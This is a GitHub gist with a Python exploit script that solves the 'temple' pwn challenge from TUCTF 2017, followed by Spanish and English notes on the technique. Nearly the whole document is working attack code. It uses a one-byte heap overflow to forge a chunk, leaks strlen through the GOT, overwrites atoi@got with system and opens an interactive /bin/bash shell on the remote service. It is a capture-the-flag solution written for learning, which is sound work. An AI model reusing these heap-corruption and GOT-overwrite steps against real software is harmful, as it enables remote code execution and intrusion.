Skip to content

Instantly share code, notes, and snippets.

@segura2010
Last active November 27, 2017 17:18
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save segura2010/eb7a24f0343ff06fc581f966b6316912 to your computer and use it in GitHub Desktop.
Save segura2010/eb7a24f0343ff06fc581f966b6316912 to your computer and use it in GitHub Desktop.
My Solution for the temple challenge of the TUCTF 2017 (https://tuctf.asciioverflow.com/)
# -*- coding: utf-8 -*-
'''
TUCTF 2017 - https://tuctf.asciioverflow.com/
temple (500 points) - PWN
--------------------------------------------------------
(Small)Explanation at the end of the file.
--------------------------------------------------------
'''
import socket
import re
import hexdump
import pwn
import telnetlib
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#s.connect(("temple.tuctf.com", 4343))
s.connect(("go.hole", 3000))
neonateStr = 0x00401d61
ATOIGOT = 0x603098
STRLENGOT = 0x603038
#STRLEN_TO_SYSTEM_OFFSET = 0x40780 # ctf server (provided lib.so)
STRLEN_TO_SYSTEM_OFFSET = 0x46390 # local
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# Create the first (bad) object
s.send('2\n')
data = s.recv(1024)
print data
s.send('64\n')
data = s.recv(1024)
print data
s.send('AAAAAAAA\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# Overflow one byte to mark as free block in heap
s.send('3\n')
data = s.recv(1024)
print data
s.send('8\n')
data = s.recv(1024)
print data
s.send('AAAA' + '\x00'*60 + '\x50\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# Create new object
s.send('2\n')
data = s.recv(1024)
print data
s.send('10\n')
data = s.recv(1024)
print data
s.send('CCCC\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# Delete the created object to fix the memory space
s.send('1\n')
data = s.recv(1024)
print data
s.send('9\n')
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# Create a new object that will be created in our controlled string
s.send('2\n')
data = s.recv(1024)
print data
s.send('10\n')
data = s.recv(1024)
print data
s.send('CCCC\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# set owner to strlen@got to leak the strlen address
# we need to set it in the owner because the wisdom will be freed, and it will fail -> PANIC
s.send('3\n')
data = s.recv(1024)
print data
s.send('8\n')
data = s.recv(1024)
print data
s.send(pwn.p64(0x11) + pwn.p64(0x0) + pwn.p64(0x8) + pwn.p64(STRLENGOT) + '\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# Get leaked address (print & free it)
s.send('1\n')
data = s.recv(1024)
print data
s.send('10\n')
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
hexdump.hexdump(data)
which_str = "- "
posOfWhich = data.find(which_str)
addresses = data[posOfWhich+len(which_str):]
hexdump.hexdump(addresses[0:8][::-1])
STRLEN = int('0x' + addresses[0:8][::-1].encode('hex'), 16)
SYSTEM = STRLEN - STRLEN_TO_SYSTEM_OFFSET
print "[+] Leaked STRLEN:", hex(STRLEN)
print "[+] SYSTEM:", hex(SYSTEM)
# Create a new pwned object
s.send('2\n')
data = s.recv(1024)
print data
s.send('10\n')
data = s.recv(1024)
print data
s.send('CCCC\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# set wisdom to atoi@got
s.send('3\n')
data = s.recv(1024)
print data
s.send('8\n')
data = s.recv(1024)
print data
s.send(pwn.p64(0x11) + pwn.p64(ATOIGOT) + pwn.p64(0x8) + pwn.p64(neonateStr) + '\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# modify atoi@got with SYSTEM
s.send('3\n')
data = s.recv(1024)
print data
s.send('11\n')
data = s.recv(1024)
print data
s.send(pwn.p64(SYSTEM) + '\n')
data = s.recv(1024)
print data
data = s.recv(1024)
while data.find("Your choice:") < 0:
data += s.recv(1024)
print data
# send the desired command to run
# (it calls atoi to convert our option, so it will be executed)
s.send('/bin/bash\n')
print "\n\nYour shell:"
t = telnetlib.Telnet()
t.sock = s
t.interact()
'''
TUCTF 2017 - https://tuctf.asciioverflow.com/
temple (500 points) - PWN
--------------------------
Cada chunk tiene un footer de 8 bytes; donde el ultimo bit indica si esta libre o no.
Cada bloque se alinea 16 bytes.
Yo puedo overflowear 1 byte.
Si creo un wisdom de tamaño 16 (o multiplo de 16), esta alineado al tamaño de bloque, de forma que
el siguiente byte indica el tamaño (y el ultimo bit si esta o no ocupado).
De este modo puedo aprovechar el overflow de 1 byte para escribir en el ultimo byte (que indica el
tamaño del bloque y si esta o no libre)
Idea:
1. Crear un wisdom de tamaño 64 (0x40)
2. Modificar el wisdom para overflowear en 1 byte, y este ultimo byte lo ponemos a 0x50 (80);
ya que 0x50 es el tamaño de un bloque de wisdom y se indica como vacio.
3. crear un nuevo wisdom; este se creara a continuacion
4. liberar el ultimo wisdom creado (para "arreglar" la memoria)
5. crear un nuevo wisdom, cuya estructura de datos ocupara el lugar de wisdom overfloweado.
Ahora controlamos los 32 bytes de la estructura:
8 bytes de longitud + 8 bytes de puntero al string del wisdom.
8 bytes de longitud + 8 bytes de puntero al string del creador.
6. hacer que el string de dueño apunte a alguna funcion de la GOT (strlen)
7. liberar el wisdom para obtener la direccion de la funcion (strlen)
8. calcular la posicion de system en base a esa funcion leakeada
9. Volver a crear un wisdom (este deberia volver a ocupar el espacio overfloweado como el anterior)
10. hacer que el string del wisdom apunte a alguna funcion de la GOT (atoi) que reciba un string controlado como parametro
11. Forzar llamada a esa funcion con nuestro string
---
English:
Each chunk has an 8 bytes footer; where the last bit indicates if it is an used block or not.
Each block is aligned at 16 bytes.
We can overflow 1 byte at the end of the wisdom string (in "Rethink" option).
If we create a wisdom of size 16 bytes (or multiple of 16), it will be aligned so the following bytes to the
string will be the footer. The following byte will be the byte that indicates the size of the block
and if it is used or not (last bit).
We can overflow the wisdom string and set the last byte to something with the last bit equal to 0 (not used).
Then, the following wisdom we create will be allocated inside of our controlled string.
strlen@got = 0x603038
atoi@got = 0x603098
'''
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment